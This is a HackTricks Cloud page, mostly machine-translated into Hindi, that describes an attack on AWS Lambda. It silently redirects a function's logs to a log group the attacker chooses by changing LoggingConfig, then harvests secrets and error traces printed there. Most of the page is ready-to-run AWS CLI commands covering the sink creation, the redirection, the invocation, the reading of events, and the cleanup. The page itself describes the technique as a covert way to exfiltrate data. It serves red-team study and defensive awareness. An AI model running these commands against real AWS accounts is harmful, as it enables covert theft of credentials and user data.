AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
Reading time: 3 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
lambda:UpdateFunctionConfiguration के advanced logging controls का दुरुपयोग करके किसी function के logs को attacker-चुने हुए CloudWatch Logs log group पर redirect करें। यह code या execution role बदलने के बिना काम करता है (ज़्यादातर Lambda roles पहले से AWSLambdaBasicExecutionRole के माध्यम से logs:CreateLogGroup/CreateLogStream/PutLogEvents शामिल करते हैं)। अगर function secrets/request bodies print करता है या stack traces के साथ crash होता है, तो आप उन्हें नए log group से इकट्ठा कर सकते हैं।
आवश्यक अनुमतियाँ
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (या मौजूदा triggers पर निर्भर करें)
- logs:CreateLogGroup (अक्सर आवश्यक नहीं होता यदि function role में यह मौजूद हो)
- logs:FilterLogEvents (इवेंट पढ़ने के लिए)
चरण
- एक sink log group बनाएं
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
- लक्षित function logs को पुनर्निर्देशित करें
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
इंतज़ार करें जब तक LastUpdateStatus Successful न हो:
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
- sink को कॉल करें और उससे पढ़ें
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
प्रभाव
- गुप्त रूप से सभी एप्लिकेशन/सिस्टम लॉग्स को आपके नियंत्रित log group में पुनर्निर्देशित करना, जिससे यह अपेक्षा टाली जा सके कि लॉग्स केवल
/aws/lambda/<fn>में ही landen। - Exfiltrate उस संवेदनशील डेटा को जो फ़ंक्शन द्वारा प्रिंट किया गया हो या त्रुटियों (errors) में प्रकट हुआ हो।
सफाई
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
नोट्स
- लॉगिंग नियंत्रण Lambda के
LoggingConfig(LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel) का हिस्सा हैं। - डिफ़ॉल्ट रूप से, Lambda लॉग्स
/aws/lambda/<function>पर भेजता है, लेकिन आप किसी भी log group नाम की ओर निर्देशित कर सकते हैं; Lambda (या execution role) इसे बना देगा यदि अनुमति हो।
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud